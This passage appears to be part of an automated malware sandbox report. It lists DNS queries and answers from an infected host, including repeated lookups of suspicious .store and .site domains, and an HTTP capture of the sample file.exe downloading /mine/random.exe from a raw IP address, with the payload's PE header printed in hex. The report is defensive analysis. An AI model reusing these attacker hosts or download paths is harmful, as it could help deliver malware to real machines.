Oct 23, 2024 15:49:40.042815924 CEST	192.168.2.5	1.1.1.1	0xe031	Standard query (0)	example.org	A (IP address)	IN (0x0001)	false
Oct 23, 2024 15:49:40.054229975 CEST	192.168.2.5	1.1.1.1	0xaa3e	Standard query (0)	ipv4only.arpa	A (IP address)	IN (0x0001)	false
Oct 23, 2024 15:49:40.056618929 CEST	192.168.2.5	1.1.1.1	0xf9d6	Standard query (0)	contile.services.mozilla.com	A (IP address)	IN (0x0001)	false
Oct 23, 2024 15:49:40.057413101 CEST	192.168.2.5	1.1.1.1	0xaf53	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	A (IP address)	IN (0x0001)	false
Oct 23, 2024 15:49:40.067125082 CEST	192.168.2.5	1.1.1.1	0xc181	Standard query (0)	contile.services.mozilla.com	28	IN (0x0001)	false
Oct 23, 2024 15:49:40.067285061 CEST	192.168.2.5	1.1.1.1	0xf365	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Oct 23, 2024 15:49:40.151845932 CEST	192.168.2.5	1.1.1.1	0x9165	Standard query (0)	spocs.getpocket.com	A (IP address)	IN (0x0001)	false
Oct 23, 2024 15:49:40.153426886 CEST	192.168.2.5	1.1.1.1	0x2e4d	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Oct 23, 2024 15:49:40.162120104 CEST	192.168.2.5	1.1.1.1	0x84f5	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Oct 23, 2024 15:49:40.170851946 CEST	192.168.2.5	1.1.1.1	0x192b	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Oct 23, 2024 15:49:40.362724066 CEST	192.168.2.5	1.1.1.1	0x8edd	Standard query (0)	content-signature-2.cdn.mozilla.net	A (IP address)	IN (0x0001)	false
Oct 23, 2024 15:49:40.371809959 CEST	192.168.2.5	1.1.1.1	0x115f	Standard query (0)	prod.content-signature-chains.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Oct 23, 2024 15:49:40.381166935 CEST	192.168.2.5	1.1.1.1	0xfbf8	Standard query (0)	prod.content-signature-chains.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Oct 23, 2024 15:49:43.347043037 CEST	192.168.2.5	1.1.1.1	0xcf1	Standard query (0)	shavar.services.mozilla.com	A (IP address)	IN (0x0001)	false
Oct 23, 2024 15:49:48.900913954 CEST	192.168.2.5	1.1.1.1	0x6377	Standard query (0)	support.mozilla.org	A (IP address)	IN (0x0001)	false
Oct 23, 2024 15:49:48.909693003 CEST	192.168.2.5	1.1.1.1	0xe8f9	Standard query (0)	us-west1.prod.sumo.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Oct 23, 2024 15:49:48.917707920 CEST	192.168.2.5	1.1.1.1	0x6985	Standard query (0)	us-west1.prod.sumo.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Oct 23, 2024 15:50:17.624062061 CEST	192.168.2.5	1.1.1.1	0xc96d	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Oct 23, 2024 15:50:17.797028065 CEST	192.168.2.5	1.1.1.1	0x71bf	Standard query (0)	youtube.com	28	IN (0x0001)	false
Oct 23, 2024 15:50:17.805368900 CEST	192.168.2.5	1.1.1.1	0x238b	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Oct 23, 2024 15:50:17.816737890 CEST	192.168.2.5	1.1.1.1	0x71bf	Standard query (0)	youtube.com	28	IN (0x0001)	false
Oct 23, 2024 15:50:17.861633062 CEST	192.168.2.5	1.1.1.1	0xde16	Standard query (0)	contile.services.mozilla.com	28	IN (0x0001)	false
Oct 23, 2024 15:50:17.894141912 CEST	192.168.2.5	1.1.1.1	0xff48	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Oct 23, 2024 15:50:17.917110920 CEST	192.168.2.5	1.1.1.1	0x1ab8	Standard query (0)	content-signature-2.cdn.mozilla.net	A (IP address)	IN (0x0001)	false
Oct 23, 2024 15:50:17.917443991 CEST	192.168.2.5	1.1.1.1	0xe4c6	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Oct 23, 2024 15:50:18.031222105 CEST	192.168.2.5	1.1.1.1	0x3712	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Oct 23, 2024 15:50:18.041887045 CEST	192.168.2.5	1.1.1.1	0x1522	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Oct 23, 2024 15:50:18.054779053 CEST	192.168.2.5	1.1.1.1	0x9395	Standard query (0)	push.services.mozilla.com	28	IN (0x0001)	false
Oct 23, 2024 15:50:18.280791044 CEST	192.168.2.5	1.1.1.1	0x159b	Standard query (0)	telemetry-incoming.r53-2.services.mozilla.com	A (IP address)	IN (0x0001)	false
Oct 23, 2024 15:50:18.287431002 CEST	192.168.2.5	1.1.1.1	0xe679	Standard query (0)	firefox.settings.services.mozilla.com	A (IP address)	IN (0x0001)	false
Oct 23, 2024 15:50:18.292732954 CEST	192.168.2.5	1.1.1.1	0xe93f	Standard query (0)	telemetry-incoming.r53-2.services.mozilla.com	28	IN (0x0001)	false
Oct 23, 2024 15:50:18.322782040 CEST	192.168.2.5	1.1.1.1	0x4711	Standard query (0)	prod.remote-settings.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Oct 23, 2024 15:50:18.362396955 CEST	192.168.2.5	1.1.1.1	0xa057	Standard query (0)	prod.remote-settings.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Oct 23, 2024 15:50:18.466094971 CEST	192.168.2.5	1.1.1.1	0x17bc	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Oct 23, 2024 15:50:21.673307896 CEST	192.168.2.5	1.1.1.1	0x78f2	Standard query (0)	us-west1.prod.sumo.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Oct 23, 2024 15:50:25.596364021 CEST	192.168.2.5	1.1.1.1	0x840a	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Oct 23, 2024 15:50:25.732176065 CEST	192.168.2.5	1.1.1.1	0xb450	Standard query (0)	youtube.com	28	IN (0x0001)	false
Oct 23, 2024 15:50:25.783691883 CEST	192.168.2.5	1.1.1.1	0x87e6	Standard query (0)	contile.services.mozilla.com	28	IN (0x0001)	false
Oct 23, 2024 15:50:25.803029060 CEST	192.168.2.5	1.1.1.1	0xaee5	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Oct 23, 2024 15:50:25.810174942 CEST	192.168.2.5	1.1.1.1	0x1471	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	A (IP address)	IN (0x0001)	false
Oct 23, 2024 15:50:25.836915016 CEST	192.168.2.5	1.1.1.1	0x13aa	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Oct 23, 2024 15:50:26.009020090 CEST	192.168.2.5	1.1.1.1	0x3b88	Standard query (0)	shavar.services.mozilla.com	A (IP address)	IN (0x0001)	false
Oct 23, 2024 15:50:26.020802975 CEST	192.168.2.5	1.1.1.1	0xbd5a	Standard query (0)	push.services.mozilla.com	28	IN (0x0001)	false
Oct 23, 2024 15:50:26.021576881 CEST	192.168.2.5	1.1.1.1	0x9d87	Standard query (0)	telemetry-incoming.r53-2.services.mozilla.com	28	IN (0x0001)	false
Oct 23, 2024 15:50:26.043910027 CEST	192.168.2.5	1.1.1.1	0x9c46	Standard query (0)	prod.remote-settings.prod.webservices.mozgcp.net	28	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 23, 2024 15:48:04.528866053 CEST	1.1.1.1	192.168.2.5	0x3ba4	Name error (3)	clearancek.site	none	none	A (IP address)	IN (0x0001)	false
Oct 23, 2024 15:48:04.542598963 CEST	1.1.1.1	192.168.2.5	0xb90c	Name error (3)	mobbipenju.store	none	none	A (IP address)	IN (0x0001)	false
Oct 23, 2024 15:48:04.554033995 CEST	1.1.1.1	192.168.2.5	0xc871	Name error (3)	eaglepawnoy.store	none	none	A (IP address)	IN (0x0001)	false
Oct 23, 2024 15:48:04.574515104 CEST	1.1.1.1	192.168.2.5	0x57e	Name error (3)	dissapoiznw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 23, 2024 15:48:04.586049080 CEST	1.1.1.1	192.168.2.5	0xc908	Name error (3)	studennotediw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 23, 2024 15:48:04.596951008 CEST	1.1.1.1	192.168.2.5	0xa8d4	Name error (3)	bathdoomgaz.store	none	none	A (IP address)	IN (0x0001)	false
Oct 23, 2024 15:48:04.622427940 CEST	1.1.1.1	192.168.2.5	0xed4c	Name error (3)	spirittunek.store	none	none	A (IP address)	IN (0x0001)	false
Oct 23, 2024 15:48:04.634422064 CEST	1.1.1.1	192.168.2.5	0x5af1	Name error (3)	licendfilteo.site	none	none	A (IP address)	IN (0x0001)	false
Oct 23, 2024 15:48:04.646511078 CEST	1.1.1.1	192.168.2.5	0x5966	No error (0)	steamcommunity.com		104.102.49.254	A (IP address)	IN (0x0001)	false
Oct 23, 2024 15:48:06.218682051 CEST	1.1.1.1	192.168.2.5	0x7c0e	No error (0)	sergei-esenin.com		172.67.206.204	A (IP address)	IN (0x0001)	false
Oct 23, 2024 15:48:06.218682051 CEST	1.1.1.1	192.168.2.5	0x7c0e	No error (0)	sergei-esenin.com		104.21.53.8	A (IP address)	IN (0x0001)	false
Oct 23, 2024 15:49:16.236785889 CEST	1.1.1.1	192.168.2.5	0x2846	Name error (3)	clearancek.site	none	none	A (IP address)	IN (0x0001)	false
Oct 23, 2024 15:49:16.255244970 CEST	1.1.1.1	192.168.2.5	0x6b68	Name error (3)	mobbipenju.store	none	none	A (IP address)	IN (0x0001)	false
Oct 23, 2024 15:49:16.269165993 CEST	1.1.1.1	192.168.2.5	0xb9f6	Name error (3)	eaglepawnoy.store	none	none	A (IP address)	IN (0x0001)	false
Oct 23, 2024 15:49:16.283413887 CEST	1.1.1.1	192.168.2.5	0x12dc	Name error (3)	dissapoiznw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 23, 2024 15:49:16.293936014 CEST	1.1.1.1	192.168.2.5	0x7174	Name error (3)	studennotediw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 23, 2024 15:49:16.304519892 CEST	1.1.1.1	192.168.2.5	0x898	Name error (3)	bathdoomgaz.store	none	none	A (IP address)	IN (0x0001)	false
Oct 23, 2024 15:49:16.321512938 CEST	1.1.1.1	192.168.2.5	0x5bdd	Name error (3)	spirittunek.store	none	none	A (IP address)	IN (0x0001)	false
Oct 23, 2024 15:49:16.335489035 CEST	1.1.1.1	192.168.2.5	0x78ba	Name error (3)	licendfilteo.site	none	none	A (IP address)	IN (0x0001)	false
Oct 23, 2024 15:49:16.347537994 CEST	1.1.1.1	192.168.2.5	0xbf7	No error (0)	steamcommunity.com		104.102.49.254	A (IP address)	IN (0x0001)	false
Oct 23, 2024 15:49:27.918008089 CEST	1.1.1.1	192.168.2.5	0x6518	Name error (3)	clearancek.site	none	none	A (IP address)	IN (0x0001)	false
Oct 23, 2024 15:49:27.932651043 CEST	1.1.1.1	192.168.2.5	0x61f7	Name error (3)	mobbipenju.store	none	none	A (IP address)	IN (0x0001)	false
Oct 23, 2024 15:49:27.944063902 CEST	1.1.1.1	192.168.2.5	0x1a9f	Name error (3)	eaglepawnoy.store	none	none	A (IP address)	IN (0x0001)	false
Oct 23, 2024 15:49:27.958242893 CEST	1.1.1.1	192.168.2.5	0xdce7	Name error (3)	dissapoiznw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 23, 2024 15:49:27.972209930 CEST	1.1.1.1	192.168.2.5	0x9378	Name error (3)	studennotediw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 23, 2024 15:49:27.994389057 CEST	1.1.1.1	192.168.2.5	0xbb7e	Name error (3)	bathdoomgaz.store	none	none	A (IP address)	IN (0x0001)	false
Oct 23, 2024 15:49:28.016524076 CEST	1.1.1.1	192.168.2.5	0x9c45	Name error (3)	spirittunek.store	none	none	A (IP address)	IN (0x0001)	false
Oct 23, 2024 15:49:28.042514086 CEST	1.1.1.1	192.168.2.5	0x2350	Name error (3)	licendfilteo.site	none	none	A (IP address)	IN (0x0001)	false
Oct 23, 2024 15:49:28.057285070 CEST	1.1.1.1	192.168.2.5	0x10ed	No error (0)	steamcommunity.com		104.102.49.254	A (IP address)	IN (0x0001)	false
Oct 23, 2024 15:49:37.874634981 CEST	1.1.1.1	192.168.2.5	0x1012	No error (0)	prod.classify-client.prod.webservices.mozgcp.net		35.190.72.216	A (IP address)	IN (0x0001)	false
Oct 23, 2024 15:49:37.875164032 CEST	1.1.1.1	192.168.2.5	0x3d68	Name error (3)	clearancek.site	none	none	A (IP address)	IN (0x0001)	false
Oct 23, 2024 15:49:37.899786949 CEST	1.1.1.1	192.168.2.5	0xd333	No error (0)	prod.classify-client.prod.webservices.mozgcp.net		35.190.72.216	A (IP address)	IN (0x0001)	false
Oct 23, 2024 15:49:37.945914984 CEST	1.1.1.1	192.168.2.5	0x84ff	No error (0)	youtube.com		142.250.185.142	A (IP address)	IN (0x0001)	false
Oct 23, 2024 15:49:37.957541943 CEST	1.1.1.1	192.168.2.5	0x66da	No error (0)	youtube.com		142.250.185.110	A (IP address)	IN (0x0001)	false
Oct 23, 2024 15:49:37.966363907 CEST	1.1.1.1	192.168.2.5	0x1b8d	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 23, 2024 15:49:37.966363907 CEST	1.1.1.1	192.168.2.5	0x1b8d	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Oct 23, 2024 15:49:37.983335018 CEST	1.1.1.1	192.168.2.5	0x7d3	No error (0)	youtube.com			28	IN (0x0001)	false
Oct 23, 2024 15:49:37.989703894 CEST	1.1.1.1	192.168.2.5	0x9072	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Oct 23, 2024 15:49:38.017836094 CEST	1.1.1.1	192.168.2.5	0x3207	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net			28	IN (0x0001)	false
Oct 23, 2024 15:49:38.522633076 CEST	1.1.1.1	192.168.2.5	0x4b8c	Name error (3)	mobbipenju.store	none	none	A (IP address)	IN (0x0001)	false
Oct 23, 2024 15:49:38.554449081 CEST	1.1.1.1	192.168.2.5	0x9a4c	Name error (3)	eaglepawnoy.store	none	none	A (IP address)	IN (0x0001)	false
Oct 23, 2024 15:49:38.568217993 CEST	1.1.1.1	192.168.2.5	0x832b	Name error (3)	dissapoiznw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 23, 2024 15:49:38.583815098 CEST	1.1.1.1	192.168.2.5	0x1e76	Name error (3)	studennotediw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 23, 2024 15:49:38.611501932 CEST	1.1.1.1	192.168.2.5	0xe09d	Name error (3)	bathdoomgaz.store	none	none	A (IP address)	IN (0x0001)	false
Oct 23, 2024 15:49:38.632376909 CEST	1.1.1.1	192.168.2.5	0xba17	Name error (3)	spirittunek.store	none	none	A (IP address)	IN (0x0001)	false
Oct 23, 2024 15:49:38.675966024 CEST	1.1.1.1	192.168.2.5	0x5b90	Name error (3)	licendfilteo.site	none	none	A (IP address)	IN (0x0001)	false
Oct 23, 2024 15:49:40.044327974 CEST	1.1.1.1	192.168.2.5	0x13d5	No error (0)	contile.services.mozilla.com		34.117.188.166	A (IP address)	IN (0x0001)	false
Oct 23, 2024 15:49:40.045151949 CEST	1.1.1.1	192.168.2.5	0x5353	No error (0)	balrog-aus5.r53-2.services.mozilla.com	prod.balrog.prod.cloudops.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 23, 2024 15:49:40.045151949 CEST	1.1.1.1	192.168.2.5	0x5353	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Oct 23, 2024 15:49:40.050945997 CEST	1.1.1.1	192.168.2.5	0xe031	No error (0)	example.org		93.184.215.14	A (IP address)	IN (0x0001)	false
Oct 23, 2024 15:49:40.062665939 CEST	1.1.1.1	192.168.2.5	0xaa3e	No error (0)	ipv4only.arpa		192.0.0.170	A (IP address)	IN (0x0001)	false
Oct 23, 2024 15:49:40.062665939 CEST	1.1.1.1	192.168.2.5	0xaa3e	No error (0)	ipv4only.arpa		192.0.0.171	A (IP address)	IN (0x0001)	false
Oct 23, 2024 15:49:40.064261913 CEST	1.1.1.1	192.168.2.5	0xf9d6	No error (0)	contile.services.mozilla.com		34.117.188.166	A (IP address)	IN (0x0001)	false
Oct 23, 2024 15:49:40.065996885 CEST	1.1.1.1	192.168.2.5	0xaf53	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Oct 23, 2024 15:49:40.160362959 CEST	1.1.1.1	192.168.2.5	0x9165	No error (0)	spocs.getpocket.com	prod.ads.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 23, 2024 15:49:40.160362959 CEST	1.1.1.1	192.168.2.5	0x9165	No error (0)	prod.ads.prod.webservices.mozgcp.net		34.117.188.166	A (IP address)	IN (0x0001)	false
Oct 23, 2024 15:49:40.160948992 CEST	1.1.1.1	192.168.2.5	0x2e4d	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 23, 2024 15:49:40.160948992 CEST	1.1.1.1	192.168.2.5	0x2e4d	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Oct 23, 2024 15:49:40.170391083 CEST	1.1.1.1	192.168.2.5	0x84f5	No error (0)	prod.ads.prod.webservices.mozgcp.net		34.117.188.166	A (IP address)	IN (0x0001)	false
Oct 23, 2024 15:49:40.370707989 CEST	1.1.1.1	192.168.2.5	0x8edd	No error (0)	content-signature-2.cdn.mozilla.net	content-signature-chains.prod.autograph.services.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 23, 2024 15:49:40.370707989 CEST	1.1.1.1	192.168.2.5	0x8edd	No error (0)	content-signature-chains.prod.autograph.services.mozaws.net	prod.content-signature-chains.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 23, 2024 15:49:40.370707989 CEST	1.1.1.1	192.168.2.5	0x8edd	No error (0)	prod.content-signature-chains.prod.webservices.mozgcp.net		34.160.144.191	A (IP address)	IN (0x0001)	false
Oct 23, 2024 15:49:40.380697012 CEST	1.1.1.1	192.168.2.5	0x115f	No error (0)	prod.content-signature-chains.prod.webservices.mozgcp.net		34.160.144.191	A (IP address)	IN (0x0001)	false
Oct 23, 2024 15:49:40.388828993 CEST	1.1.1.1	192.168.2.5	0xfbf8	No error (0)	prod.content-signature-chains.prod.webservices.mozgcp.net			28	IN (0x0001)	false
Oct 23, 2024 15:49:43.355796099 CEST	1.1.1.1	192.168.2.5	0xcf1	No error (0)	shavar.services.mozilla.com	shavar.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 23, 2024 15:49:48.909003973 CEST	1.1.1.1	192.168.2.5	0x6377	No error (0)	support.mozilla.org	prod.sumo.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 23, 2024 15:49:48.909003973 CEST	1.1.1.1	192.168.2.5	0x6377	No error (0)	prod.sumo.prod.webservices.mozgcp.net	us-west1.prod.sumo.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 23, 2024 15:49:48.909003973 CEST	1.1.1.1	192.168.2.5	0x6377	No error (0)	us-west1.prod.sumo.prod.webservices.mozgcp.net		34.149.128.2	A (IP address)	IN (0x0001)	false
Oct 23, 2024 15:49:48.917186022 CEST	1.1.1.1	192.168.2.5	0xe8f9	No error (0)	us-west1.prod.sumo.prod.webservices.mozgcp.net		34.149.128.2	A (IP address)	IN (0x0001)	false
Oct 23, 2024 15:50:17.805624008 CEST	1.1.1.1	192.168.2.5	0x71bf	No error (0)	youtube.com			28	IN (0x0001)	false
Oct 23, 2024 15:50:17.814604998 CEST	1.1.1.1	192.168.2.5	0x238b	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 23, 2024 15:50:17.814604998 CEST	1.1.1.1	192.168.2.5	0x238b	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Oct 23, 2024 15:50:17.824664116 CEST	1.1.1.1	192.168.2.5	0x71bf	No error (0)	youtube.com			28	IN (0x0001)	false
Oct 23, 2024 15:50:17.909943104 CEST	1.1.1.1	192.168.2.5	0xa474	No error (0)	balrog-aus5.r53-2.services.mozilla.com	prod.balrog.prod.cloudops.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 23, 2024 15:50:17.909943104 CEST	1.1.1.1	192.168.2.5	0xa474	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Oct 23, 2024 15:50:17.925909042 CEST	1.1.1.1	192.168.2.5	0x1ab8	No error (0)	content-signature-2.cdn.mozilla.net	content-signature-chains.prod.autograph.services.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 23, 2024 15:50:17.925909042 CEST	1.1.1.1	192.168.2.5	0x1ab8	No error (0)	content-signature-chains.prod.autograph.services.mozaws.net	prod.content-signature-chains.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 23, 2024 15:50:17.925909042 CEST	1.1.1.1	192.168.2.5	0x1ab8	No error (0)	prod.content-signature-chains.prod.webservices.mozgcp.net		34.160.144.191	A (IP address)	IN (0x0001)	false
Oct 23, 2024 15:50:18.039391041 CEST	1.1.1.1	192.168.2.5	0x3712	No error (0)	push.services.mozilla.com		34.107.243.93	A (IP address)	IN (0x0001)	false
Oct 23, 2024 15:50:18.049622059 CEST	1.1.1.1	192.168.2.5	0x1522	No error (0)	push.services.mozilla.com		34.107.243.93	A (IP address)	IN (0x0001)	false
Oct 23, 2024 15:50:18.199230909 CEST	1.1.1.1	192.168.2.5	0x7e8d	No error (0)	balrog-aus5.r53-2.services.mozilla.com	prod.balrog.prod.cloudops.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 23, 2024 15:50:18.199230909 CEST	1.1.1.1	192.168.2.5	0x7e8d	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Oct 23, 2024 15:50:18.271547079 CEST	1.1.1.1	192.168.2.5	0x4cb4	No error (0)	telemetry-incoming.r53-2.services.mozilla.com		34.120.208.123	A (IP address)	IN (0x0001)	false
Oct 23, 2024 15:50:18.291277885 CEST	1.1.1.1	192.168.2.5	0x159b	No error (0)	telemetry-incoming.r53-2.services.mozilla.com		34.120.208.123	A (IP address)	IN (0x0001)	false
Oct 23, 2024 15:50:18.298732996 CEST	1.1.1.1	192.168.2.5	0xe679	No error (0)	firefox.settings.services.mozilla.com	prod.remote-settings.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 23, 2024 15:50:18.298732996 CEST	1.1.1.1	192.168.2.5	0xe679	No error (0)	prod.remote-settings.prod.webservices.mozgcp.net		34.149.100.209	A (IP address)	IN (0x0001)	false
Oct 23, 2024 15:50:18.332031965 CEST	1.1.1.1	192.168.2.5	0x4711	No error (0)	prod.remote-settings.prod.webservices.mozgcp.net		34.149.100.209	A (IP address)	IN (0x0001)	false
Oct 23, 2024 15:50:18.475771904 CEST	1.1.1.1	192.168.2.5	0x17bc	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 23, 2024 15:50:18.475771904 CEST	1.1.1.1	192.168.2.5	0x17bc	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Oct 23, 2024 15:50:19.562336922 CEST	1.1.1.1	192.168.2.5	0xf8fc	No error (0)	telemetry-incoming.r53-2.services.mozilla.com		34.120.208.123	A (IP address)	IN (0x0001)	false
Oct 23, 2024 15:50:25.741389036 CEST	1.1.1.1	192.168.2.5	0xb450	No error (0)	youtube.com			28	IN (0x0001)	false
Oct 23, 2024 15:50:25.817478895 CEST	1.1.1.1	192.168.2.5	0x1471	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Oct 23, 2024 15:50:26.017311096 CEST	1.1.1.1	192.168.2.5	0x3b88	No error (0)	shavar.services.mozilla.com	shavar.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49713	185.215.113.16	80	5328	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Oct 23, 2024 15:48:17.677263021 CEST	204	OUT	GET /mine/random.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Oct 23, 2024 15:48:18.576363087 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 23 Oct 2024 13:48:18 GMT Content-Type: application/octet-stream Content-Length: 1926656 Last-Modified: Wed, 23 Oct 2024 13:34:51 GMT Connection: keep-alive ETag: "6718fb7b-1d6600" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 ca 01 00 00 00 00 00 00 50 4c 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$-ICCC@CFBC6GC6@C6FCGCBCB5CxJCxCxACRichCPELVfPL@L@Wk8LX8L @.rsrc@.idata @ @+@ptpgbbgoP1J@epijyeip@L>@.taggant0PL"D@
Oct 23, 2024 15:48:18.576411009 CEST	112	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 23, 2024 15:48:18.576451063 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 23, 2024 15:48:18.576486111 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 23, 2024 15:48:18.576519012 CEST	424	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
